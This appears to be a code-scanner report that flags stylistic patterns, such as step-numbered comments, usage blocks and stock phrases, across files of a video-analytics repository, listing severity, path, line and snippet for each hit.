MEDIUM	skills/vss-build-vision-ai/scripts/stage_vss_src.py	38	# Everything the harness Dockerfiles consume from the VSS checkout. A unit	COMMENT
MEDIUM	…s/vss-build-vision-ai/scripts/resolve_service_graph.py	64	# An explicit request for any of them - a harness pointed at the build's own	COMMENT
MEDIUM	skills/vss-build-vision-ai/scripts/sync_skills.py	7	# it replaces): the OpenClaw plugin, the Hermes image, the harness Dockerfiles,	COMMENT
MEDIUM⚡	…i/scripts/tests/test_analytics_composition_contract.py	176	# A harness pointed at the build's own NIM (route (a)) names the key.	COMMENT
MEDIUM	skills/operations/vss-search-archive/evals/search.json	24	"query": "Use `/vss-build-vision-ai` for the following deployment setup. Deploy the VSS search profile on `{{p	CODE
LOW	…oy-detection-tracking-2d/scripts/setup_tracker_reid.sh	27	# already in cache), just create the symlink so	COMMENT
MEDIUM	…oy-detection-tracking-2d/scripts/update_output_sink.sh	28	# 2 = MKV (matroska; DEFAULT — robust on abnormal	COMMENT
MEDIUM	…oy-detection-tracking-2d/scripts/update_output_sink.sh	158	# ── Container muxer: default = 2 (MKV, robust on abnormal exit) ───	COMMENT
MEDIUM	…eploy-detection-tracking-2d/scripts/collect_metrics.sh	68	# `*_<8 digits>_<6 digits>.txt` so it's robust to use-case prefix	COMMENT
MEDIUM	…ss-evaluate-caption-accuracy/scripts/run_captioning.py	351	# better on every motion-heavy scene. Setting it from the harness would only	STRING
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Modern AI Meta-Vocabulary70 hits · 224 pts

Severity	File	Line	Snippet	Context
MEDIUM	…operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml	111	# embedding model (NGC) and the CLIP-ReID tracker ONNX.	COMMENT
MEDIUM	…arehouse-operations/vlm-as-verifier/configs/config.yml	65	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…rofiles/smartcities/vlm-as-verifier/configs/config.yml	161	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml	81	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…/dev-profile-alerts/vlm-as-verifier/configs/config.yml	154	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…services/rtvi/rtvi-embed/rtvi-embed-docker-compose.yml	16	# Docker Compose for RTVI Embed microservice	COMMENT
MEDIUM	…ker/services/rtvi/rtvi-vlm/rtvi-vlm-docker-compose.yml	16	# Docker Compose for RTVI VLM microservice	COMMENT
MEDIUM	…search/init-scripts/elasticsearch-template-creation.sh	532	# embedding model reid-embed is configured with (SECONDARY_EMBEDDING_MODEL,	COMMENT
MEDIUM	deploy/docker/services/alert/README.md	1	# Alerts microservice (Compose definition)	COMMENT
MEDIUM	deploy/docker/services/agent/compose.yml	131	# Enterprise RAG (used by config_rag.yml when enabled)	COMMENT
MEDIUM	…y/helm/developer-profiles/dev-profile-base/values.yaml	254	# Enterprise RAG (used by config_rag.yml when enabled). Compose parity:	COMMENT
MEDIUM	…helm/developer-profiles/dev-profile-alerts/values.yaml	303	# Enterprise RAG defaults used by config_rag.yml when enabled.	COMMENT
MEDIUM	…helm/developer-profiles/dev-profile-search/values.yaml	807	# Enterprise RAG (used by config_rag.yml when enabled). Compose parity:	COMMENT
MEDIUM	…oy/helm/developer-profiles/dev-profile-lvs/values.yaml	331	# Enterprise RAG defaults used by config_rag.yml when enabled.	COMMENT
MEDIUM	deploy/helm/services/rtvi/charts/rtvi-vlm/values.yaml	58	# Disable only if you orchestrate ordering elsewhere.	COMMENT
MEDIUM	…rtvi/charts/reid-embed/templates/job-stage-models.yaml	17	# vss-reid-embed-init-mv3dt: the SigLIP2 secondary embedding model from NGC and	COMMENT
MEDIUM	deploy/helm/services/infra/charts/sdrc/values.yaml	49	# because SDRC is event-driven for it (WDM_INITIALIZE_FROM_VST) and the events	COMMENT
MEDIUM	…asticsearch/configs/elasticsearch-template-creation.sh	532	# embedding model reid-embed is configured with (SECONDARY_EMBEDDING_MODEL,	COMMENT
MEDIUM	deploy/helm/services/agent/charts/agent/values.yaml	200	# Enterprise RAG (used by config_rag.yml when enabled). Compose parity:	COMMENT
MEDIUM	libs/vss/pyproject.toml	31	"litellm>=1.84.0,<1.85", # Fix /guardrails/test_custom_code RCE + privilege escalation + JWT/OIDC userinfo ca	CODE
MEDIUM⚡	…ialai_data_utils/eval/tracking/hota/trackeval_utils.py	383	# Per-BEV-sensor orchestration	COMMENT
MEDIUM⚡	…-utils/spatialai_data_utils/eval/detection/evaluate.py	399	# Per-BEV-sensor orchestration (moved from eval/mtmc/detection/evaluate.py)	COMMENT
MEDIUM⚡	…utils/tests/eval/tracking/hota/test_trackeval_utils.py	788	# (per-sensor scaffolding ended up under a directory called	COMMENT
MEDIUM	.github/workflows/sonarqube.yml	220	# orchestration functions, not shipped runtime code; S3776 there is	COMMENT
MEDIUM	.github/workflows/cleanup-pr-tags.yml	6	# Candidate tags are build scaffolding — pr-<N>-<sha12> immutable candidates and	COMMENT
MEDIUM⚡	.github/skill-eval/verifiers/generic_judge.py	62	# the judge back toward unbounded Read (the exact hallucination trigger	COMMENT
MEDIUM⚡	skills/vss-build-vision-ai/references/data-directory.md	127	# Warehouse only. This gate CREATES scaffolding, but warehouse also CONSUMES a	COMMENT
MEDIUM	…-vision-ai/references/services/sop/integrate-ds-sop.md	136	"${SOP_KIBANA_OBJECTS_URL:-https://raw.githubusercontent.com/NVIDIA/sop-monitoring-blueprints/0dd472f/agentic/	CODE
MEDIUM	…ills/operations/vss-generate-video-report-rag/SKILL.md	11	# VSS Generate Video Report RAG — Video Analysis with Enterprise RAG	COMMENT
MEDIUM	…ills/operations/vss-generate-video-report-rag/SKILL.md	19	## Enable Enterprise RAG on the LVS Profile	COMMENT
MEDIUM⚡	…ills/operations/vss-generate-video-report-rag/SKILL.md	66	### Step 3: Deploy the LVS profile with the RAG config	COMMENT
MEDIUM	…ills/operations/vss-generate-video-report-rag/SKILL.md	139	## Workflow: Generate an LVS Report with Enterprise RAG	COMMENT
MEDIUM	…-video-io-storage/references/integrate-vios-service.md	123	# Sensor microservice — sibling-variant branching by sensor topology	COMMENT
MEDIUM	…edding/references/deploy-vss-deploy-video-embedding.md	149	# Confirm the embedding model is registered.	COMMENT
MEDIUM⚡	…/vss-benchmark-video-summarization/scripts/config.yaml	29	# Backend URL — the LVS (Long Video Summarization) microservice endpoint.	COMMENT
MEDIUM	…k-video-summarization/scripts/single_file_benchmark.py	478	# The CA-RAG summarization sampling is set by the deployment config, not the	COMMENT
MEDIUM	services/rtvi/rt-vlm/tests/test_context_overflow.py	29	# Build a conversation that exceeds context window	COMMENT
MEDIUM	services/rtvi/rt-vlm/perf/setup_perf_env.sh	440	VLM_MAX_MODEL_LEN="${VLM_MAX_MODEL_LEN:-}" # model context window; leave empty for compose default	CODE
MEDIUM⚡	…/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_spark.yaml	234	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM⚡	…rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_jetson.yaml	235	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM⚡	…tvi/rt-vlm/perf/benchmark/rtvi_vlm_config_rtx_pro.yaml	236	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM⚡	…s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_test.yaml	265	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM⚡	…s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_h100.yaml	236	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM⚡	…s/rtvi/rt-vlm/perf/benchmark/rtvi_vlm_config_l40s.yaml	237	# Average number of requests the microservice completes per second (RPS),	COMMENT
MEDIUM	services/rtvi/rt-vlm/perf/benchmark/README.RTVI_VLM.md	670	### 3. Request Throughput [Non-Streaming] - The average number of requests that the microservice can successfully comple	COMMENT
MEDIUM	services/rtvi/rt-cv-3d/rt-cv-mv3dt/tests/lib.sh	24	# stub_ds_api.py beside it are test-only scaffolding and are never installed on a	COMMENT
MEDIUM	services/rtvi/rt-cv-3d/reid-embed/README.md	1	# ReID Embed microservice	COMMENT
MEDIUM⚡	services/rtvi/rt-cv-3d/reid-embed/src/config.py	443	# too small a one. It describes the embedding model's geometry rather than the	COMMENT
MEDIUM	services/alert/config.yaml	155	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	services/alert/config.yaml	323	base_url: "http://localhost:8018/v1" # RTVI VLM microservice URL (env: RTVI_VLM_BASE_URL)	CODE
MEDIUM	…functional/p1/test_alert_config_concurrent_post/run.sh	23	# of truth" meaningful when the alerts microservice is scaled	COMMENT
MEDIUM	…t/blueprint_config/config_public_safety_blueprint.yaml	59	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…alert/blueprint_config/config_warehouse_blueprint.yaml	67	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	…alert/blueprint_config/config_smartcity_blueprint.yaml	68	# Beware that these parameters need to be set in accordance with the VLM max context window	COMMENT
MEDIUM	services/alert/src/schemas/vlm_responses.py	141	# Default verification path produces ``info["reasoning"]`` (VLM chain-of-thought).	COMMENT
MEDIUM	services/agent/pyproject.toml	65	"litellm>=1.84.0,<1.85", # Fix /guardrails/test_custom_code RCE + privilege escalation + JWT/OIDC userinfo ca	CODE
MEDIUM	…ts/unit_test/video_analytics/test_tools_integration.py	82	embedding_model_name=None, # Disable embedding model for simpler tests	CODE
MEDIUM	…ent/packages/vss_agents/src/vss_agents/tools/search.py	86	# Default few-shot examples for query decomposition	COMMENT
MEDIUM	…packages/vss_agents/src/vss_agents/agents/top_agent.py	1578	# Use a shorter message for scratchpad and reasoning trace	COMMENT
MEDIUM	…packages/vss_agents/src/vss_agents/agents/top_agent.py	1581	# Yield tool call in reasoning trace for regular tools (even if we extracted a summary)	COMMENT
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Verbosity Indicators122 hits · 220 pts

Severity	File	Line	Snippet	Context
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	624	# Step 1: Collect all scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	633	# Step 2: Display all scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	636	# Step 3: Set global parameters	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	639	# Step 4: Select scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	642	# Step 5: Display selected scenes with parameters	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	650	# Step 6: Confirm and process	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	658	# Step 7: Process all scenes	COMMENT
LOW	…utils/spatialai_data_utils/visualization/draw_utils.py	167	# Step 1: paint the (possibly translucent) background rectangle.	COMMENT
LOW	…utils/spatialai_data_utils/visualization/draw_utils.py	182	# Step 2: draw text on top of the (already-blended) rectangle. Text	COMMENT
LOW⚡	…utils/spatialai_data_utils/eval/tracking/aic24_eval.py	173	# Step 1: Accumulate metric data for all classes and distance thresholds.	COMMENT
LOW⚡	…utils/spatialai_data_utils/eval/tracking/aic24_eval.py	200	# Step 2: Aggregate metrics from the metric data.	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	67	# Step 1: Pre-flight checks	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	79	# Step 2: Start media server if not already running	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	101	# Step 3: Create Python venv if it doesn't exist	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	115	# Step 4: Install requirements if venv is new	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	123	# Step 5: Run the benchmark	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1160	# Step 1: Strip leading/trailing whitespace	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1162	# Step 2: Extract reasoning description	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1170	# Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1178	# Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1181	# Step 4: Final cleanup (strip whitespace)	COMMENT
LOW⚡	…public_files/model_executor/models/nano_nemotron_vl.py	578	# Step 2: Check if total tokens is within budget	COMMENT
LOW⚡	…public_files/model_executor/models/nano_nemotron_vl.py	585	# Step 3: We're over budget, need to scale down	COMMENT
LOW	…public_files/model_executor/models/nano_nemotron_vl.py	566	# Step 1: Process each media with current token budget	COMMENT
LOW⚡	…vlm/patches/evs_vllm_public_files/multimodal/inputs.py	615	# Step 1: Compute output shape	COMMENT
LOW⚡	…vlm/patches/evs_vllm_public_files/multimodal/inputs.py	625	# Step 2: Create zero-initialized output tensor	COMMENT
LOW⚡	…vlm/patches/evs_vllm_public_files/multimodal/inputs.py	633	# Step 3: Slice-assign each tensor to its proper position	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	718	# Step 1: Validate prerequisites	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	850	# Step 2: NTP clock synchronization check	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	921	# Step 3: Platform detection and system cache cleaner	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	985	# Step 4: Stage repository deployment or an explicit local VST package	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1123	# Step 5: Patch VST for configurable Redis port, PostgreSQL port, and VST ports	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1439	# Step 6: Prepare benchmark test videos	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1522	# Step 7: Detect host IP	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1541	# Step 8: Start nvstreamer, wait for it to be healthy, then start VST	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1642	# Step 9: Wait for VST live streams to become available	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1695	# Step 10: Create Python virtual environment	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1719	# Step 11: Inject live ports and stream URL into benchmark config	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/setup_perf_env.sh	1784	# Step 12: Generate .env.perf and start RTVI VLM service (compose.perf.yaml)	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/teardown_perf_env.sh	73	# Step 1: Stop RTVI VLM service	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/teardown_perf_env.sh	91	# Step 2: Stop VST	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/teardown_perf_env.sh	103	# Step 3: Stop nvstreamer	COMMENT
LOW⚡	services/rtvi/rt-vlm/perf/teardown_perf_env.sh	115	# Step 4: Stop sys_cache_cleaner	COMMENT
LOW⚡	…lm/src/models/vllm_compatible/vllm_compatible_model.py	1951	# Step 1: Strip leading/trailing whitespace	COMMENT
LOW⚡	…lm/src/models/vllm_compatible/vllm_compatible_model.py	1953	# Step 2: Extract reasoning description	COMMENT
LOW⚡	…lm/src/models/vllm_compatible/vllm_compatible_model.py	1961	# Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags	COMMENT
LOW⚡	…lm/src/models/vllm_compatible/vllm_compatible_model.py	1971	# Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content	COMMENT
LOW⚡	…lm/src/models/vllm_compatible/vllm_compatible_model.py	1974	# Step 4: Final cleanup (strip whitespace)	COMMENT
LOW	…bed/src/cluster_sampling/sample_and_extract_patches.py	934	# Step 2: Remove outliers	COMMENT
LOW	…bed/src/cluster_sampling/sample_and_extract_patches.py	962	# Step 3: Cosine pruning	COMMENT
LOW	…bed/src/cluster_sampling/sample_and_extract_patches.py	1102	# Step 1: Load data	COMMENT
LOW⚡	…3d/reid-embed/src/cluster_sampling/example_workflow.sh	39	# Step 1: Dump embeddings	COMMENT
LOW⚡	…3d/reid-embed/src/cluster_sampling/example_workflow.sh	49	# Step 2: Sample embeddings	COMMENT
LOW	…vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py	100	# Step 2: k-reciprocal neighborhood expansion	COMMENT
LOW⚡	…vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py	121	# Step 3: k2-NN query expansion	COMMENT
LOW⚡	…vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py	128	# Step 4: Jaccard distance. Double-block both rows and columns so the	COMMENT
LOW⚡	…vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py	150	# Step 5: blend and produce affinity	COMMENT
LOW⚡	…vi/rt-cv-3d/reid-embed/src/cluster_manager/affinity.py	157	# Step 6: apply cannot-merge constraints. Each pair must hold exactly	COMMENT
LOW⚡	…es/vst/calibration-steps/CalibrationDataManagement.tsx	219	// Step 1: Convert lat/lng to x/y (ReactJS convertLatLngToXY function)	COMMENT
LOW⚡	…es/vst/calibration-steps/CalibrationDataManagement.tsx	225	// Step 2: Apply padding (ReactJS padCoordinates function)	COMMENT
62 more matches not shown…

Example Usage Blocks54 hits · 82 pts

Severity	File	Line	Snippet	Context
LOW	…/services/rtvi/reid-embed/download-embedding-models.sh	35	# Usage:	COMMENT
LOW	deploy/docker/services/infra/sdrc/clean.sh	21	# Usage:	COMMENT
LOW	…profiles/dev-profile-search/values-build-endpoint.yaml	31	# Usage:	COMMENT
LOW	…vices/rtvi/charts/rtvi-embed/overrides_rtvi_embed.yaml	8	# Usage:	COMMENT
LOW	…i/charts/reid-embed/files/download-embedding-models.sh	35	# Usage:	COMMENT
LOW	.github/scripts/check_large_files_lfs.sh	12	# Usage:	COMMENT
LOW	…ploy-detection-tracking-2d/scripts/run_app_and_wait.sh	12	# Usage:	COMMENT
LOW	…ection-tracking-2d/scripts/prelaunch_nvinfer_engine.sh	21	# Usage:	COMMENT
LOW	…oy-detection-tracking-2d/scripts/apply_in_container.sh	15	# Usage:	COMMENT
LOW	…-detection-tracking-2d/scripts/cache_nvinfer_engine.sh	18	# Usage:	COMMENT
LOW	…loy-detection-tracking-2d/scripts/update_batch_size.sh	11	# Usage:	COMMENT
LOW	…etection-tracking-2d/scripts/start_app_in_container.sh	16	# Usage:	COMMENT
LOW	…detection-tracking-2d/scripts/synthesize_docker_run.sh	18	# Usage:	COMMENT
LOW	…deploy-detection-tracking-2d/scripts/setup_sparse4d.sh	11	# Usage:	COMMENT
LOW	…oy-detection-tracking-2d/scripts/setup_tracker_reid.sh	35	# Usage:	COMMENT
LOW	…ss-deploy-detection-tracking-2d/scripts/setup_gdino.sh	11	# Usage:	COMMENT
LOW	…oy-detection-tracking-2d/scripts/update_output_sink.sh	13	# Usage:	COMMENT
LOW	…oy-detection-tracking-2d/scripts/clean_engine_cache.sh	25	# Usage:	COMMENT
LOW	…y-detection-tracking-2d/scripts/check_container_gpu.sh	23	# Usage:	COMMENT
LOW	…vss-deploy-detection-tracking-2d/scripts/render_box.sh	20	# Usage:	COMMENT
LOW	…-detection-tracking-2d/scripts/write_deployment_log.sh	25	# Usage:	COMMENT
LOW	…eploy-detection-tracking-2d/scripts/collect_metrics.sh	15	# Usage:	COMMENT
LOW	…-benchmark-video-summarization/scripts/fetch-videos.sh	8	# Usage:	COMMENT
LOW	…vices/rtvi/rt-embed/tests/redis/test_redis_consumer.py	20	# Usage:	COMMENT
LOW	…ices/rtvi/rt-embed/tests/redis/test_redis_publisher.py	20	# Usage:	COMMENT
LOW	…vices/rtvi/rt-embed/tests/kafka/test_kafka_consumer.py	20	# Usage:	COMMENT
LOW	services/rtvi/rt-vlm/docker/compose.perf.yaml	25	# Usage:	COMMENT
LOW	services/rtvi/rt-vlm/tests/redis/test_redis_consumer.py	20	# Usage:	COMMENT
LOW	…rvices/rtvi/rt-vlm/tests/redis/test_redis_publisher.py	20	# Usage:	COMMENT
LOW	services/rtvi/rt-vlm/tests/kafka/test_kafka_consumer.py	20	# Usage:	COMMENT
LOW	…/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/generate-configs.sh	30	# Usage:	COMMENT
LOW	…vi/rt-cv-3d/rt-cv-mv3dt/scripts/generate-transforms.sh	23	# Usage:	COMMENT
LOW	…rvices/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/kafka-dump.sh	25	# Usage:	COMMENT
LOW	…vices/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/add-streams.sh	26	# Usage:	COMMENT
LOW	…tvi/rt-cv-3d/rt-cv-mv3dt/scripts/prepare-sw-encoder.sh	21	# Usage:	COMMENT
LOW	services/rtvi/rt-cv/tests/docker-compose/compose.yaml	25	# Usage:	COMMENT
LOW	services/vios/test/bdd_tests/scripts/run_unit_tests.sh	36	# Usage:	COMMENT
LOW	services/vios/include/3rdparty/prometheus/gauge.h	69	/// Example usage:	COMMENT
LOW	services/vios/include/3rdparty/prometheus/counter.h	57	/// Example usage:	COMMENT
LOW	services/vios/include/3rdparty/prometheus/histogram.h	79	/// Example usage:	COMMENT
LOW	services/vios/include/3rdparty/prometheus/summary.h	98	/// Example usage:	COMMENT
LOW	…reamer/inc/webrtc_headers/src/rtc_base/callback_list.h	112	// Usage example:	COMMENT
LOW	…d_party/abseil-cpp/absl/strings/resize_and_overwrite.h	31	// Example usage:	COMMENT
LOW	…rc/third_party/abseil-cpp/absl/synchronization/mutex.h	180	// Example usage:	COMMENT
LOW	…s/src/third_party/abseil-cpp/absl/hash/internal/hash.h	171	// Example usage:	COMMENT
LOW	…hird_party/abseil-cpp/absl/base/internal/raw_logging.h	39	// Usage example:	COMMENT
LOW	…webrtc_streamer/inc/webrtc_headers/src/api/rtc_error.h	265	// Example usage:	COMMENT
LOW	…_headers/src/api/task_queue/pending_task_safety_flag.h	120	// Example usage:	COMMENT
LOW	services/alert/test/latency/prometheus_latency.py	20	# Usage:	COMMENT
LOW⚡	services/alert/test/sanity/run_p1.sh	21	# Usage:	COMMENT
LOW⚡	services/alert/test/sanity/run_sanity.sh	21	# Usage:	COMMENT
LOW	services/alert/test/sanity/scenarios/runner.sh	38	# Usage:	COMMENT
LOW	…s/behavior-analytics/tests/integration/generate_env.sh	17	# Usage:	COMMENT
LOW	…lytics/behavior-analytics/tests/integration/cleanup.sh	17	# Usage:	COMMENT

AI Structural Patterns99 hits · 78 pts

Severity	File	Line	Context
LOW	deploy/docker/scripts/tests/test_run_setup_notebook.py	625	CODE
LOW	libs/vss/core/tests/unit_test/memory/group_adapters.py	124	CODE
LOW	…tests/unit_test/lib/search_core/test_search_helpers.py	44	CODE
LOW	…vss/core/src/vss_core/memory/backends/elasticsearch.py	241	CODE
LOW	libs/vss/core/src/vss_core/vlm/openai.py	53	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	857	CODE
LOW	…src/vss_core/search_core/primitives/_search_helpers.py	361	CODE
LOW	…vss/core/src/vss_core/search_core/primitives/search.py	271	CODE
LOW	libs/vss/cli/src/vss_cli/summarize/memory_adapter.py	97	CODE
LOW	…ata-utils/spatialai_data_utils/visualization/render.py	544	CODE
LOW	…ata-utils/spatialai_data_utils/visualization/render.py	674	CODE
LOW	…ata-utils/spatialai_data_utils/visualization/render.py	770	CODE
LOW	…i_data_utils/visualization/camera_placement/plotter.py	910	CODE
LOW	…i_data_utils/visualization/camera_placement/plotter.py	1027	CODE
LOW	…ai_data_utils/visualization/video_utils/frame2video.py	202	CODE
LOW	…ta_utils/visualization/video_utils/frame2video_grid.py	195	CODE
LOW	…utils/spatialai_data_utils/core/cameras/group_utils.py	209	CODE
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	1563	CODE
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	701	CODE
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	802	CODE
LOW	…ta-utils/spatialai_data_utils/core/cameras/grouping.py	882	CODE
LOW	…ta-utils/spatialai_data_utils/core/cameras/grouping.py	758	CODE
LOW	…ta-utils/spatialai_data_utils/core/cameras/grouping.py	459	CODE
LOW	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	52	CODE
LOW	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	359	CODE
LOW	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	769	CODE
LOW	…ta-utils/spatialai_data_utils/core/boxes/aicity_box.py	84	CODE
LOW	…spatialai_data_utils/eval/tracking/aicity_mtmc_eval.py	538	CODE
LOW	…ils/spatialai_data_utils/eval/tracking/data_classes.py	402	CODE
LOW	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	183	CODE
LOW	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	197	CODE
LOW	…atialai_data_utils/eval/tracking/hota/metrics/clear.py	211	CODE
LOW	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	169	CODE
LOW	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	187	CODE
LOW	…patialai_data_utils/eval/tracking/hota/metrics/hota.py	233	CODE
LOW	…alai_data_utils/eval/tracking/hota/metrics/identity.py	143	CODE
LOW	…alai_data_utils/eval/tracking/hota/metrics/identity.py	183	CODE
LOW	…alai_data_utils/eval/tracking/hota/metrics/identity.py	197	CODE
LOW	…atialai_data_utils/eval/tracking/hota/metrics/count.py	76	CODE
LOW	…ata_utils/eval/tracking/hota/datasets/_base_dataset.py	159	CODE
LOW	…ls/spatialai_data_utils/eval/detection/data_classes.py	468	CODE
LOW	…ata-utils/tests/eval/tracking/test_aicity_mtmc_eval.py	741	CODE
LOW	…ts/eval/tracking/test_aicity_mtmc_eval_orchestrator.py	61	CODE
LOW	.github/osrb/test_osrb_summary.py	22	CODE
LOW	.github/osrb/test_osrb_compare.py	37	CODE
LOW	.github/osrb/test_osrb_compare.py	65	CODE
LOW	.github/scripts/trigger_downstream_pipeline.py	184	CODE
LOW	…rking/benchmark-video-search/scripts/run_eval_flows.py	711	CODE
LOW	…hmarking/benchmark-video-search/scripts/flows/query.py	117	CODE
LOW	…nchmark-video-search/scripts/flows/ingest_readiness.py	931	CODE
LOW	…nchmark-video-search/scripts/flows/ingest_readiness.py	665	CODE
LOW	services/rtvi/rt-embed/src/utils/asset_manager.py	268	CODE
LOW	services/rtvi/rt-embed/src/utils/asset_manager.py	1472	CODE
LOW	…i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py	639	CODE
LOW	…i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py	3107	CODE
LOW	…r/rtvi_vlm/patches/evs_vllm_public_files/v1/request.py	62	CODE
LOW	…es/evs_vllm_public_files/v1/worker/gpu_model_runner.py	1831	CODE
LOW	…es/evs_vllm_public_files/v1/worker/gpu_model_runner.py	5330	CODE
LOW	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	75	CODE
LOW	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	215	CODE
39 more matches not shown…

Slop Phrases9 hits · 18 pts

Severity	File	Line	Snippet	Context
MEDIUM	…_vllm_public_files/model_executor/models/interfaces.py	217	as a language model component.	STRING
LOW	…inc/webrtc_headers/src/api/peer_connection_interface.h	702	// Don't forget to update operator== if adding something.	COMMENT
LOW	…eaders/src/modules/rtp_rtcp/include/rtp_rtcp_defines.h	194	// Again, don't forget to update `kNumMediaTypes` if you add another value!	COMMENT
MEDIUM	…ramework/unified_storage/reader/cloud_reader_utils.cpp	314	// This is a basic implementation - can be enhanced for specific formats	COMMENT
MEDIUM	…vss_agents/tests/unit_test/tools/test_video_caption.py	134	assert "I'm unable to" in error_messages	CODE
MEDIUM⚡	…ents/tests/unit_test/tools/test_template_report_gen.py	442	preamble = "Here is the populated report:\n```md\n# Incident\n\nN/A\n```\nLet me know if you need changes."	CODE
MEDIUM	…ents/tests/unit_test/tools/test_template_report_gen.py	458	"Let me know if you need changes."	CODE
MEDIUM	…ents/tests/unit_test/tools/test_template_report_gen.py	481	"Let me know if you need changes."	CODE
MEDIUM	…kages/vss_agents/src/vss_agents/tools/video_caption.py	147	"I'm unable to",	CODE

Dead Code8 hits · 16 pts

Severity	File	Line	Context
MEDIUM	libs/vss/cli/tests/unit_test/cli/test_vlm_group.py	1615	CODE
MEDIUM	.github/skill-eval/tests/test_run_leg.py	2526	CODE
MEDIUM	.github/skill-eval/tests/test_run_leg.py	2868	CODE
MEDIUM	services/rtvi/rt-embed/src/models/base_vlm_model.py	196	CODE
MEDIUM	…sts/model/vllm_compatible/test_input_error_handling.py	46	CODE
MEDIUM	services/rtvi/rt-vlm/src/models/base_vlm_model.py	198	CODE
MEDIUM	…es/vss_agents/tests/unit_test/agents/test_top_agent.py	1223	CODE
MEDIUM	…es/vss_agents/tests/unit_test/agents/test_top_agent.py	1458	CODE

Magic Placeholder Names2 hits · 15 pts

Severity	File	Line	Snippet	Context
HIGH⚡	…thub/vss-playbook-compliance/skill_compliance_check.py	285	r"<YOUR_TOKEN>",	CODE
HIGH⚡	…thub/vss-playbook-compliance/skill_compliance_check.py	292	r"your[_\-]", # "your_api_key", "your-token" etc.	CODE

Synthetic Comment Markers2 hits · 15 pts

Severity	File	Line	Snippet	Context
HIGH	…eamer/inc/webrtc_headers/src/p2p/base/port_allocator.h	734	// credentials as requested.	COMMENT
